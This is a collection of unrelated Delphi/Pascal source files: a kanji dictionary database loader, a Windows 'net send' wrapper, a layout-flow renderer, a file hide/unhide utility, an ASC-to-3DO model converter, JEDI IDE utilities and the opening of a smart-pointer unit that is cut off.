Result.OnYomi[i].kana := KanaTran.RomajiToKana(Result.OnYomi[i].kana, []);
Result.RawKunYomi := rec.KunYomi;
Result.KunYomi := ParseKanjiKunYomi(Result.Kanji, Result.RawKunYomi);
Result.RawRussian := repl(DecodeRussian(rec.Russian),'\','');
Result.Russian := ParseKanjiRussian(Result.RawRussian);
Result.RawCompounds := rec.Compounds;
Result.Compounds := ParseKanjiCompounds(Result.RawCompounds);
finally
PopComplainContext;
end;
end;
function TYarxiDB.ParseTango(const Rec: variant): TTangoRecord;
begin
Result.Nomer := rec.Nomer;
Result.K1 := rec.K1;
Result.K2 := rec.K2;
Result.K3 := rec.K3;
Result.K4 := rec.K4;
Result.RawKana := rec.Kana;
Result.Kana := ParseTangoKana(Result.K1, Result.K2, Result.K3, Result.K4,
Result.RawKana);
Result.RawReadings := rec.Reading;
Result.Readings := ParseTangoReading(rec.Reading);
Result.Russian := DecodeRussian(rec.Russian);
end;
procedure TYarxiDB.LoadKanjiIndex;
var ds: TSqliteDataset;
RecCount: integer;
rec: variant;
begin
ds := Db.Query('SELECT * FROM Kanji');
RecCount := 1;
for rec in ds do begin
//Вообще-то лучше брать rec.Nomer, но пока он везде совпадает
KanjiRefs.Add(RecCount, WideChar(word(rec.Uncd)));
Inc(RecCount);
end;
end;
procedure TYarxiDB.LoadKanji;
var ds: TSqliteDataset;
RecCount: integer;
rec: variant;
begin
if Length(Kanji)>0 then exit; //already parsed;
LoadKanjiIndex;
ds := Db.Query('SELECT * FROM Kanji');
SetLength(Kanji, 7000); //should be enough
RecCount := 0;
for rec in ds do begin
Kanji[RecCount] := ParseKanji(rec);
Inc(RecCount);
end;
SetLength(Kanji, RecCount); //trim
end;
procedure TYarxiDB.LoadTango;
var ds: TSqliteDataset;
RecCount: integer;
rec: variant;
begin
if Length(Tango)>0 then exit; //already parsed;
LoadKanjiIndex;
ds := Db.Query('SELECT * FROM Tango');
SetLength(Tango, 70000); //should be enough
RecCount := 0;
for rec in ds do begin
if rec.k1 <> -1 then //так отмечена последняя запись, и это что-то чудовищное
Tango[RecCount] := ParseTango(rec);
Inc(RecCount);
end;
SetLength(Tango, RecCount); //trim
end;
function TYarxiDB.FindKanjiIndex(const AChar: string): integer;
var i: integer;
begin
LoadKanji;
//Stupid for now, may have to
// 1. Use internal BTrees, or
// 2. Query DB and parse dynamically
Result := -1;
for i := 0 to Length(Kanji)-1 do
if Kanji[i].Kanji=AChar then begin
Result := i;
break;
end;
end;
function TYarxiDB.GetKanji(const AChar: string; out ARec: TKanjiRecord): boolean;
var idx: integer;
begin
idx := FindKanjiIndex(AChar);
if idx<0 then begin
Result := false;
exit;
end else begin
ARec := Kanji[idx];
Result := true;
end;
end;
function TYarxiDB.KanjiCount: integer;
begin
LoadKanji;
Result := Length(Kanji);
end;
function TYarxiDB.TangoCount: integer;
begin
LoadTango;
Result := Length(Tango);
end;
end.
|
unit SDUNetMsg;
// By Sarah Dean
// Email: sdean12@sdean12.org
// WWW: http://www.SDean12.org/
//
// -----------------------------------------------------------------------------
//
// *****************************************************************************
// *****************************************************************************
// IMPORTANT!
// *****************************************************************************
// *****************************************************************************
// It is *vital* that you read the comments made in "NetMsg.pas" BEFORE
// attempting to use this unit.
// Failure to do so could lead to your program simply crashing with DLL errors
// when it starts up under Windows 9x/Me.
interface
// Send a message out over the network
// Equiv to "net send"
// Only works under Windows NT/2000, and requires the Messenger Service to be
// running
function SDUNetSend(msg: string; msgTo: string; msgFrom: string = ''): boolean;
implementation
uses
sysutils,
Windows,
NetMsg;
// Ensure we're running under Windows NT, raise an exception if we're not.
procedure SDUNetMsgCheckRunningNT();
var
OSversion: DWORD;
begin
OSversion := GetVersion();
if not(OSversion<$80000000) then
begin
raise Exception.Create('SDUNetMsg requires Windows NT/2000');
end;
end;
function SDUNetSend(msg: string; msgTo: string; msgFrom: string = ''): boolean;
var
sentOK: NET_API_STATUS;
Recipient: array[0..64] of WideChar;
From: array[0..64] of WideChar;
Buffer: array[0..500] of WideChar;
begin
SDUNetMsgCheckRunningNT();
StringToWideChar(msgFrom, @From, SizeOf(From));
StringToWideChar(msgTo, @Recipient, SizeOf(Recipient));
StringToWideChar(msg, @Buffer, SizeOf(Buffer));
if msgFrom='' then
begin
sentOK := NetMessageBufferSend(nil,
@Recipient,
nil,
@Buffer,
length(msg)*2);
end
else
begin
sentOK := NetMessageBufferSend(nil,
@Recipient,
@From,
@Buffer,
length(msg)*2);
end;
Result := (sentOK=0);
// if not(Return = NERR_Success) then ShowMessage('Error');
end;
END.
|
unit Flow;
interface
uses
SysUtils, Types, Graphics,
Node, Box;
type
TBlockContext = class(TContextBase)
private
Box: TBox;
public
constructor Create(inBox: TBox; inNode: TNode);
procedure AddNodes(inNodes: TNodeList);
end;
//
TInlineContext = class(TContextBase)
private
Context: TBlockContext;
Line: TBox;
public
constructor Create(inContext: TBlockContext);
procedure AddNode(inNode: TNode);
end;
//
TFlow = class
private
InlineContext: TInlineContext;
protected
procedure AddBlock(inBox: TBox; inNode: TNode);
procedure AddNode(inContext: TBlockContext; inNode: TNode);
procedure AddInline(inContext: TBlockContext; inNode: TNode);
procedure OpenInlineContext(inContext: TBlockContext);
public
Canvas: TCanvas;
constructor Create(inBox: TBox; inNode: TNode; inCanvas: TCanvas);
destructor Destroy; override;
procedure CloseInlineContext;
end;
//
TBlockBox = class(TBox)
public
procedure MeasureBox(inBox: TBox); override;
end;
//
TLineBox = class(TBox)
public
procedure MeasureBox(inBox: TBox); override;
end;
//
TRenderNode = class(TBoxNode)
public
procedure Render(inBox: TBox; inCanvas: TCanvas; inRect: TRect); override;
end;
//
TBlockNode = class(TRenderNode)
public
class function GetContextClass: TContextClass; override;
procedure Measure(inBox: TBox); override;
end;
//
TInlineNode = class(TRenderNode)
public
class function GetContextClass: TContextClass; override;
procedure Measure(inBox: TBox); override;
end;
implementation
var
SingletonFlow: TFlow;
{ TFlow }
constructor TFlow.Create(inBox: TBox; inNode: TNode; inCanvas: TCanvas);
begin
SingletonFlow := Self;
Canvas := inCanvas;
AddBlock(inBox, inNode);
inBox.Measure;
end;
destructor TFlow.Destroy;
begin
CloseInlineContext;
inherited;
end;
procedure TFlow.CloseInlineContext;
begin
FreeAndNil(InlineContext);
end;
procedure TFlow.OpenInlineContext(inContext: TBlockContext);
begin
if InlineContext = nil then
InlineContext := TInlineContext.Create(inContext);
end;
procedure TFlow.AddNode(inContext: TBlockContext; inNode: TNode);
begin
if inNode.ContextClass = TBlockContext then
AddBlock(inContext.Box.AddBox(TBlockBox), inNode)
else
AddInline(inContext, inNode);
end;
procedure TFlow.AddBlock(inBox: TBox; inNode: TNode);
begin
CloseInlineContext;
TBlockContext.Create(inBox, inNode).Free;
end;
procedure TFlow.AddInline(inContext: TBlockContext; inNode: TNode);
begin
OpenInlineContext(inContext);
InlineContext.AddNode(inNode);
end;
{ TBlockContext }
constructor TBlockContext.Create(inBox: TBox; inNode: TNode);
begin
Box := inBox;
Box.Node := inNode;
AddNodes(inNode.Nodes);
SingletonFlow.CloseInlineContext;
end;
procedure TBlockContext.AddNodes(inNodes: TNodeList);
var
i: Integer;
begin
if (inNodes <> nil) then
for i := 0 to inNodes.Max do
SingletonFlow.AddNode(Self, inNodes[i]);
end;
{ TInlineContext }
constructor TInlineContext.Create(inContext: TBlockContext);
begin
Context := inContext;
Line := Context.Box.AddBox(TLineBox);
end;
procedure TInlineContext.AddNode(inNode: TNode);
begin
Line.AddBox(TLineBox).Node := inNode;
//Line.NewChild.Node := inNode;
Context.AddNodes(inNode.Nodes);
end;
{ TBlockBox }
procedure TBlockBox.MeasureBox(inBox: TBox);
begin
inherited;
Inc(Height, inBox.Height);
end;
{ TLineBox }
procedure TLineBox.MeasureBox(inBox: TBox);
begin
inherited;
if (inBox.Height > Height) then
begin
Height := inBox.Height;
Offset := Point(0, Height);
end;
end;
{ TRenderNode }
procedure TRenderNode.Render(inBox: TBox; inCanvas: TCanvas; inRect: TRect);
begin
if (Style.BackgroundColor <> clDefault) then
begin
inCanvas.Brush.Style := bsSolid;
inCanvas.Brush.Color := Style.BackgroundColor;
inCanvas.FillRect(inRect);
end;
if (Style.Color <> clDefault) then
inCanvas.Font.Color := Style.Color;
inCanvas.TextOut(inRect.Left, inRect.Top, Text);
inCanvas.Brush.Style := bsClear;
inCanvas.Rectangle(inRect);
end;
{ TBlockNode }
class function TBlockNode.GetContextClass: TContextClass;
begin
Result := TBlockContext;
end;
procedure TBlockNode.Measure(inBox: TBox);
begin
if Style.Width > 0 then
inBox.Width := Style.Width;
if Style.Height > 0 then
inBox.Height := Style.Height;
if Style.Left > 0 then
inBox.Left := Style.Left;
inBox.Offset := Point(0, inBox.Height);
end;
{ TInlineNode }
class function TInlineNode.GetContextClass: TContextClass;
begin
Result := TInlineContext;
end;
procedure TInlineNode.Measure(inBox: TBox);
begin
with SingletonFlow.Canvas do
begin
inBox.Width := TextWidth(Text);
inBox.Height := TextHeight(Text);
end;
inBox.Offset := Point(inBox.Width, 0);
end;
end.
|
(*
Category: SWAG Title: DIRECTORY HANDLING ROUTINES
Original name: 0019.PAS
Description: Change File Attr
Author: HERBERT ZARB
Date: 11-02-93 06:08
*)
{ Updated FILES.SWG on November 2, 1993 }
{
Herbert Zarb <panther!jaguar!hzarb@relay.iunet.it>
This simple Program changes the attribute of the File or directory from
hidden to archive or vice-versa...
}
Program hide_unhide;
{ Accepts two command line parameters :
1st parameter can be either +h (hide) or -h(unhide).
2nd parameter must be the full path }
Uses
Dos;
Const
bell = #07;
hidden = $02;
archive = $20;
Var
f : File;
begin
if paramcount >= 2 then
begin
Assign(f, paramstr(2));
if paramstr(1) = '+h' then
SetFAttr(f, hidden)
else
if paramstr(1) = '-h' then
SetFAttr(f, Archive)
else
Write(bell);
end
else
Write(bell);
end.
|
unit Asc3do;
interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, ExtCtrls, StdCtrls, Buttons, Gauges, _Strings,IniFiles,M_global;
type
TASCto3DO = class(TForm)
Edit1: TEdit;
Edit2: TEdit;
SBInputAsc: TSpeedButton;
SBSave3DO: TSpeedButton;
OpenDialog1: TOpenDialog;
SaveDialog1: TSaveDialog;
Label1: TLabel;
Label2: TLabel;
Bevel1: TBevel;
ListBoxRender: TListBox;
Label3: TLabel;
Panel2: TPanel;
EditName: TEdit;
EditColor: TEdit;
EditScale: TEdit;
Label4: TLabel;
Label5: TLabel;
Label6: TLabel;
Bevel2: TBevel;
Gauge1: TGauge;
BitBtnConvert: TBitBtn;
BitBtnExit: TBitBtn;
procedure SBInputAscClick(Sender: TObject);
procedure SBSave3DOClick(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure BitBtnExitClick(Sender: TObject);
procedure BitBtnConvertClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
procedure AscTo3do(InputF,OutputF: string);
function MakeZero(s: string): string;
end;
var
ASCto3DO: TASCto3DO;
implementation
{$R *.DFM}
function TASCto3DO.MakeZero(s: string): string;
begin
while Length(s) < 6 do
s := '0'+s;
MakeZero := s;
end;
procedure TASCto3DO.AscTo3do(InputF,OutputF: string);
var
pars: TStringParserWithColon;
Asc,Tdo: System.TextFile;
oScale: double;
oName,oShading,oColor,oTextu: string;
oNumVerts,oNumObjs,oNumFaces: integer;
NumFace,Numvert: integer;
LineN,Err: integer;
L,ObjName: string;
dX,dY,dZ: double;
sX,sY,sZ: string;
begin
NumFace:=0;
NumVert:=0;
LineN := 0;
oNumVerts := 0;
oNumObjs := 0;
oNumFaces := 0;
if (ListBoxRender.Items[ListBoxRender.ItemIndex] = 'TEXTURE') or
(ListBoxRender.Items[ListBoxRender.ItemIndex] = 'GOURTEX') then
oTextu := '0'
else oTextu := '-1';
Val(EditScale.Text,oScale,Err);
oShading := ListBoxRender.Items[ListBoxRender.ItemIndex];
oColor := EditColor.Text;
oName := EditName.Text;
AssignFile(Asc,InputF);
Reset(Asc);
while not SeekEof(Asc) do
begin
ReadLn(Asc,L);
pars := TStringParserWithColon.Create(L);
Inc(LineN);
if pars.count = 4 then
if pars[1] = 'Named' then
Inc(oNumObjs);
if pars.count = 9 then
if pars[1] = 'Vertex' then
Inc(oNumVerts);
if pars.count >= 10 then
if pars[1] = 'Face' then
Inc(oNumFaces);
end;
System.CloseFile(Asc);
Gauge1.MaxValue := (LineN*2)+1;
Gauge1.Progress := LineN;
AssignFile(Asc,InputF);
Reset(Asc);
AssignFile(Tdo,OutputF);
ReWrite(Tdo);
WriteLn(Tdo,'3DO 1.20');
WriteLn(Tdo,'');
WriteLn(Tdo,'#');
WriteLn(Tdo,'# This 3DO was converted from the ASC file: '+InputF);
WriteLn(Tdo,'# Using a port of Was ASC Now 3DO Version 1.0 by Frank A. Krueger');
WriteLn(Tdo,'# =================================================================');
WriteLn(Tdo,'# Original file was '+IntToStr(LineN)+' lines long');
WriteLn(Tdo,'# GENTIME ', DateTimeToStr(Now));
WriteLn(Tdo,'#');
WriteLn(Tdo,'# AUTHOR ', USERname);
WriteLn(Tdo,'# EMAIL ', USERemail);
WriteLn(Tdo,'#');
WriteLn(Tdo,'');
WriteLn(Tdo,'3DONAME '+oName);
WriteLn(Tdo,'OBJECTS '+MakeZero(IntToStr(oNumObjs)));
WriteLn(Tdo,'VERTICES '+MakeZero(IntToStr(oNumVerts)));
WriteLn(Tdo,'POLYGONS '+MakeZero(IntToStr(oNumFaces)));
WriteLn(Tdo,'PALETTE DEFAULT.PAL');
WriteLn(Tdo,'');
WriteLn(Tdo,'TEXTURES 0');
while not SeekEof(Asc) do
begin
ReadLn(Asc,L);
pars := TStringParserWithColon.Create(L);
if pars.count = 4 then
ObjName := Pars[3];
if pars.Count = 6 then
if UpperCase(pars[1]) = 'TRI-MESH,' then
begin
NumVert := StrToInt(Pars[3]);
NumFace := StrToInt(Pars[5]);
end;
if pars.count = 3 then
if pars[1] = 'Vertex' then
begin
WriteLn(Tdo,'');
WriteLn(Tdo,'#------------------------------------------------------------------');
WriteLn(Tdo,'OBJECT '+ObjName);
WriteLn(Tdo,'TEXTURE '+oTextu);
WriteLn(Tdo,'');
WriteLn(Tdo,'VERTICES '+IntToStr(NumVert));
WriteLn(Tdo,'# <num> <x> <y> <z>');
end;
if pars.count = 9 then
begin
Val(Pars[4],dX,Err);
Val(Pars[6],dY,Err);
Val(Pars[8],dZ,Err);
dX := dX*oScale;
dY := dY*oScale;
dZ := dZ*oScale;
Str(dX:12:4,sX);
Str(dY:12:4,sY);
Str(dZ:12:4,sZ);
WriteLn(Tdo,' '+pars[2]+sx+sy+sz);
end;
if pars.count = 3 then
if pars[1] = 'Face' then
begin
WriteLn(Tdo,'');
WriteLn(Tdo,'TRIANGLES '+IntToStr(NumFace));
WriteLn(Tdo,'# <num> <a> <b> <c> <col> <fill>');
end;
if pars.count >= 10 then
if UpperCase(pars[3]) = 'A:' then
WriteLn(Tdo,' '+pars[2]+' '+pars[4]+' '+pars[6]+' '+pars[8]+
' '+oColor+' '+oShading);
Gauge1.Progress := Gauge1.Progress+1;
end;
System.CloseFile(Asc);
System.CloseFile(Tdo);
Gauge1.Progress := 0;
Gauge1.MaxValue := 100;
PARS := TStringParserWithColon.Create('Hi');
Pars.Free;
end;
procedure TASCto3DO.SBInputAscClick(Sender: TObject);
begin
if OpenDialog1.Execute then
Edit1.Text := OpenDialog1.FileName;
Edit2.Text := (WDFUSEdir+ '\'+ 'WDFGRAPH' +'\' +ChangeFileExt(ExtractFileName(Edit1.Text),'.3DO'));
EditScale.TEXT:= '1.0';
EditColor.Text:='32';
EditName.Text:='Default';
end;
procedure TASCto3DO.SBSave3DOClick(Sender: TObject);
begin
if SaveDialog1.Execute then
Edit2.Text := SaveDialog1.FileName;
end;
procedure TASCto3DO.Button2Click(Sender: TObject);
begin
Close;
end;
procedure TASCto3DO.Button1Click(Sender: TObject);
begin
AscTo3do(Edit1.Text,Edit2.Text);
end;
procedure TASCto3DO.BitBtnExitClick(Sender: TObject);
begin
Close;
end;
procedure TASCto3DO.BitBtnConvertClick(Sender: TObject);
begin
if Edit1.Text ='' then
begin
MessageDlg('Input File Not Specified.', mtInformation,[mbOk], 0);
Exit ;
end;
if Edit2.Text ='' then
begin
MessageDlg('3DO File Not Specified.', mtInformation,[mbOk], 0);
Exit ;
end;
if EditName.Text ='' then
begin
MessageDlg('3DO Name Not Specified.', mtInformation,[mbOk], 0);
Exit ;
end;
if EditColor.Text ='' then
begin
MessageDlg('3DO Color Not Specified.', mtInformation,[mbOk], 0);
Exit ;
end;
if EditScale.Text ='' then
begin
MessageDlg('3DO Scale Not Specified.', mtInformation,[mbOk], 0);
Exit ;
end;
if ListboxRender.ItemIndex = 2 then
begin
MessageDlg('Gourtex vertices not implemented.''You will have to add them by hand', mtInformation,[mbOk], 0);
end;
if ListboxRender.ItemIndex = 4 then
begin
MessageDlg('Texture vertices not implemented.''You will have to add them by hand', mtInformation,[mbOk], 0);
end;
AscTo3do(Edit1.Text,Edit2.Text);
end;
procedure TASCto3DO.FormCreate(Sender: TObject);
begin
ListboxRender.ItemIndex := 0;
end;
end.
|
{**************************************************************************************************}
{ }
{ Project JEDI Code Library (JCL) }
{ }
{ The contents of this file are subject to the Mozilla Public License Version 1.1 (the "License"); }
{ you may not use this file except in compliance with the License. You may obtain a copy of the }
{ License at http://www.mozilla.org/MPL/ }
{ }
{ Software distributed under the License is distributed on an "AS IS" basis, WITHOUT WARRANTY OF }
{ ANY KIND, either express or implied. See the License for the specific language governing rights }
{ and limitations under the License. }
{ }
{ The Original Code is JclOtaUtils.pas. }
{ }
{ The Initial Developer of the Original Code is documented in the accompanying }
{ help file JCL.chm. Portions created by these individuals are Copyright (C) of these individuals. }
{ }
{**************************************************************************************************}
{ }
{ Unit owner: Petr Vones }
{ Last modified: May 26, 2002 }
{ }
{**************************************************************************************************}
unit JclOtaUtils;
interface
{$I jcl.inc}
{$WEAKPACKAGEUNIT ON}
uses
Windows, Classes, IniFiles, ToolsAPI;
const
MapFileOptionName = 'MapFile';
OutputDirOptionName = 'OutputDir';
RuntimeOnlyOptionName = 'RuntimeOnly';
PkgDllDirOptionName = 'PkgDllDir';
BPLOutputDirOptionName = 'PackageDPLOutput';
LIBPREFIXOptionName = 'SOPrefix';
LIBSUFFIXOptionName = 'SOSuffix';
MapFileOptionDetailed = 3;
BPLExtension = '.bpl';
DPKExtension = '.dpk';
MAPExtension = '.map';
DRCExtension = '.drc';
type
{$IFDEF DELPHI4}
TNotifierObject = class(TInterfacedObject)
public
procedure AfterSave;
procedure BeforeSave;
procedure Destroyed;
procedure Modified;
end;
{$ENDIF DELPHI4}
TJclOTAUtils = class (TInterfacedObject)
private
FBaseRegistryKey: string;
FEnvVariables: TStringList;
FJediIniFile: TIniFile;
FRootDir: string;
FServices: IOTAServices;
function GetActiveProject: IOTAProject;
function GetJediIniFile: TIniFile;
function GetProjectGroup: IOTAProjectGroup;
function GetRootDir: string;
procedure ReadEnvVariables;
public
constructor Create;
destructor Destroy; override;
function FindExecutableName(const MapFileName, OutputDirectory: string; var ExecutableFileName: string): Boolean;
function GetDrcFileName(const Project: IOTAProject): string;
function GetMapFileName(const Project: IOTAProject): string;
function GetOutputDirectory(const Project: IOTAProject): string;
function IsInstalledPackage(const Project: IOTAProject): Boolean;
function IsPackage(const Project: IOTAProject): Boolean;
function SubstitutePath(const Path: string): string;
property ActiveProject: IOTAProject read GetActiveProject;
property BaseRegistryKey: string read FBaseRegistryKey;
property JediIniFile: TIniFile read GetJediIniFile;
property ProjectGroup: IOTAProjectGroup read GetProjectGroup;
property RootDir: string read GetRootDir;
property Services: IOTAServices read FServices;
end;
TJclOTAExpert = class(TJclOTAUtils, IOTAWizard)
protected
procedure AfterSave;
procedure BeforeSave;
procedure Destroyed;
procedure Modified;
procedure Execute;
function GetIDString: string;
function GetName: string;
function GetState: TWizardState;
end;
procedure SaveOptions(const Options: IOTAOptions; const FileName: string);
implementation
uses
{$IFDEF DELPHI6_UP}
Variants,
{$ENDIF DELPHI6_UP}
SysUtils, ImageHlp,
JclBase, JclFileUtils, JclRegistry, JclStrings, JclSysUtils;
//==================================================================================================
// TNotifierObject for Delphi 4
//==================================================================================================
{$IFDEF DELPHI4}
procedure TNotifierObject.AfterSave;
begin
end;
procedure TNotifierObject.BeforeSave;
begin
end;
procedure TNotifierObject.Destroyed;
begin
end;
procedure TNotifierObject.Modified;
begin
end;
{$ENDIF DELPHI4}
//==================================================================================================
// TJclOTAUtils
//==================================================================================================
constructor TJclOTAUtils.Create;
begin
FEnvVariables := TStringList.Create;
FServices := BorlandIDEServices as IOTAServices;
FBaseRegistryKey := StrEnsureSuffix('\', FServices.GetBaseRegistryKey);
end;
//--------------------------------------------------------------------------------------------------
destructor TJclOTAUtils.Destroy;
begin
FreeAndNil(FEnvVariables);
FreeAndNil(FJediIniFile);
inherited;
end;
//--------------------------------------------------------------------------------------------------
function TJclOTAUtils.FindExecutableName(const MapFileName, OutputDirectory: string;
var ExecutableFileName: string): Boolean;
var
Se: TSearchRec;
Res: Integer;
LatestTime: Integer;
FileName: TFileName;
LI: LoadedImage;
begin
LatestTime := 0;
ExecutableFileName := '';
// the latest executable file is very likely our file
Res := FindFirst(ChangeFileExt(MapFileName, '.*'), faArchive, Se);
while Res = 0 do
begin
FileName := PathAddSeparator(OutputDirectory) + Se.Name;
if MapAndLoad(PChar(FileName), nil, @LI, False, True) then
begin
if (not LI.fDOSImage) and (Se.Time > LatestTime) then
begin
ExecutableFileName := FileName;
LatestTime := Se.Time;
end;
UnMapAndLoad(@LI);
end;
Res := FindNext(Se);
end;
FindClose(Se);
Result := (ExecutableFileName <> '');
end;
//--------------------------------------------------------------------------------------------------
function TJclOTAUtils.GetActiveProject: IOTAProject;
var
TempProjectGroup: IOTAProjectGroup;
begin
TempProjectGroup := ProjectGroup;
if Assigned(TempProjectGroup) then
Result := TempProjectGroup.ActiveProject
else
Result := nil;
end;
//--------------------------------------------------------------------------------------------------
function TJclOTAUtils.GetDrcFileName(const Project: IOTAProject): string;
begin
Result := ChangeFileExt(Project.FileName, DRCExtension);
end;
//--------------------------------------------------------------------------------------------------
function TJclOTAUtils.GetJediIniFile: TIniFile;
const
JediIniFileName = 'Bin\JediOTA.ini';
begin
if not Assigned(FJediIniFile) then
FJediIniFile := TIniFile.Create(PathAddSeparator(RootDir) + JediIniFileName);
Result := FJediIniFile;
end;
//--------------------------------------------------------------------------------------------------
function TJclOTAUtils.GetMapFileName(const Project: IOTAProject): string;
var
ProjectFileName, OutputDirectory, LibPrefix, LibSuffix: string;
begin
ProjectFileName := Project.FileName;
OutputDirectory := GetOutputDirectory(Project);
{$IFDEF DELPHI6_UP}
if IsPackage(Project) then
begin
LibPrefix := Trim(VarToStr(Project.ProjectOptions.Values[LIBPREFIXOptionName]));
LibSuffix := Trim(VarToStr(Project.ProjectOptions.Values[LIBSUFFIXOptionName]));
end
else
begin
LibPrefix := '';
LibSuffix := '';
end;
{$ELSE DELPHI6_UP}
LibPrefix := '';
LibSuffix := '';
{$ENDIF DELPHI6_UP}
Result := PathAddSeparator(OutputDirectory) + LibPrefix + PathExtractFileNameNoExt(ProjectFileName) +
LibSuffix + MAPExtension;
end;
//--------------------------------------------------------------------------------------------------
function TJclOTAUtils.GetOutputDirectory(const Project: IOTAProject): string;
begin
if IsPackage(Project) then
begin
Result := VarToStr(Project.ProjectOptions.Values[PkgDllDirOptionName]);
if Result = '' then
Result := FServices.GetEnvironmentOptions.Values[BPLOutputDirOptionName];
end
else
Result := VarToStr(Project.ProjectOptions.Values[OutputDirOptionName]);
Result := SubstitutePath(Trim(Result));
if Result = '' then
Result := ExtractFilePath(Project.FileName);
end;
//--------------------------------------------------------------------------------------------------
function TJclOTAUtils.GetProjectGroup: IOTAProjectGroup;
var
IModuleServices: IOTAModuleServices;
I: Integer;
begin
IModuleServices := BorlandIDEServices as IOTAModuleServices;
for I := 0 to IModuleServices.ModuleCount - 1 do
if IModuleServices.Modules[I].QueryInterface(IOTAProjectGroup, Result) = S_OK then
Exit;
Result := nil;
end;
//--------------------------------------------------------------------------------------------------
function TJclOTAUtils.GetRootDir: string;
begin
if FRootDir = '' then
begin
FRootDir := RegReadStringDef(HKEY_LOCAL_MACHINE, BaseRegistryKey, 'RootDir', '');
Assert(FRootDir <> '');
end;
Result := FRootDir;
end;
//--------------------------------------------------------------------------------------------------
function TJclOTAUtils.IsInstalledPackage(const Project: IOTAProject): Boolean;
var
PackageFileName, ExecutableNameNoExt: string;
PackageServices: IOTAPackageServices;
I: Integer;
begin
Result := IsPackage(Project);
if Result then
begin
Result := False;
if not Project.ProjectOptions.Values[RuntimeOnlyOptionName] then
begin
ExecutableNameNoExt := ChangeFileExt(GetMapFileName(Project), '');
PackageServices := BorlandIDEServices as IOTAPackageServices;
for I := 0 to PackageServices.PackageCount - 1 do
begin
PackageFileName := ChangeFileExt(PackageServices.PackageNames[I], BPLExtension);
PackageFileName := GetModulePath(GetModuleHandle(PChar(PackageFileName)));
if AnsiSameText(ChangeFileExt(PackageFileName, ''), ExecutableNameNoExt) then
begin
Result := True;
Break;
end;
end;
end;
end;
end;
//--------------------------------------------------------------------------------------------------
function TJclOTAUtils.IsPackage(const Project: IOTAProject): Boolean;
begin
Result := AnsiSameText(ExtractFileExt(Project.FileName), DPKExtension);
end;
//--------------------------------------------------------------------------------------------------
procedure TJclOTAUtils.ReadEnvVariables;
{$IFDEF DELPHI6_UP}
const
EnvironmentVarsKey = 'Environment Variables';
var
EnvNames: TStringList;
I: Integer;
EnvVarKeyName: string;
{$ENDIF DELPHI6_UP}
begin
FEnvVariables.Clear;
{$IFDEF DELPHI6_UP}
EnvNames := TStringList.Create;
try
EnvVarKeyName := BaseRegistryKey + EnvironmentVarsKey;
if RegKeyExists(HKEY_CURRENT_USER, EnvVarKeyName) and RegGetValueNames(HKEY_CURRENT_USER, EnvVarKeyName, EnvNames) then
for I := 0 to EnvNames.Count - 1 do
FEnvVariables.Values[EnvNames[I]] := RegReadStringDef(HKEY_CURRENT_USER, EnvVarKeyName, EnvNames[I], '');
finally
EnvNames.Free;
end;
{$ENDIF DELPHI6_UP}
FEnvVariables.Values['DELPHI'] := RootDir;
end;
//--------------------------------------------------------------------------------------------------
function TJclOTAUtils.SubstitutePath(const Path: string): string;
var
I: Integer;
Name: string;
begin
if FEnvVariables.Count = 0 then
ReadEnvVariables;
Result := Path;
if Pos('$(', Result) > 0 then
for I := 0 to FEnvVariables.Count - 1 do
begin
Name := FEnvVariables.Names[I];
Result := StringReplace(Result, Format('$(%s)', [Name]), FEnvVariables.Values[Name], [rfReplaceAll, rfIgnoreCase]);
end;
end;
//==================================================================================================
// TJclOTAExpert
//==================================================================================================
procedure TJclOTAExpert.AfterSave;
begin
end;
//--------------------------------------------------------------------------------------------------
procedure TJclOTAExpert.BeforeSave;
begin
end;
//--------------------------------------------------------------------------------------------------
procedure TJclOTAExpert.Destroyed;
begin
end;
//--------------------------------------------------------------------------------------------------
procedure TJclOTAExpert.Execute;
begin
end;
//--------------------------------------------------------------------------------------------------
function TJclOTAExpert.GetIDString: string;
begin
Result := 'Jedi.' + ClassName;
end;
//--------------------------------------------------------------------------------------------------
function TJclOTAExpert.GetName: string;
begin
Result := ClassName;
end;
//--------------------------------------------------------------------------------------------------
function TJclOTAExpert.GetState: TWizardState;
begin
Result := [];
end;
//--------------------------------------------------------------------------------------------------
procedure TJclOTAExpert.Modified;
begin
end;
//==================================================================================================
// Helper routines
//==================================================================================================
procedure SaveOptions(const Options: IOTAOptions; const FileName: string);
var
OptArray: TOTAOptionNameArray;
I: Integer;
begin
OptArray := Options.GetOptionNames;
with TStringList.Create do
try
for I := Low(OptArray) to High(OptArray) do
Add(OptArray[I].Name + '=' + VarToStr(Options.Values[OptArray[I].Name]));
SaveToFile(FileName);
finally
Free;
end;
end;
//--------------------------------------------------------------------------------------------------
end.
|
(*
Smart Pointer (with small memory consumption penalty)
Be Smart!
Copyright (c) 2018 Michel Podvin
MIT License
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
Based On :
- Sergey Antonov(aka oxffff)'s code
- Eric Grange's idea/code
*)
unit MK.SmartPtr;
{$M-,O+}
interface
// Uses Monitor hidden field to store refcount, so not compatible with monitor use
// (but Monitor is buggy, so no great loss) > Eric Grange
{$DEFINE USE_MONITOR}
type
Smart<T> = reference to function:T;
Smart = record
class function Create<T:class>(AObject:T):Smart<T>;overload;static;
class function Create<T:class,constructor>():Smart<T>;overload;static;inline;
end;
BeSmart<T:class> = record
private
FSmart:Smart<T>;
public
class operator Implicit(AObject:T):BeSmart<T>;inline;
class operator Implicit(const ASmart:BeSmart<T>):Smart<T>;inline;
end;
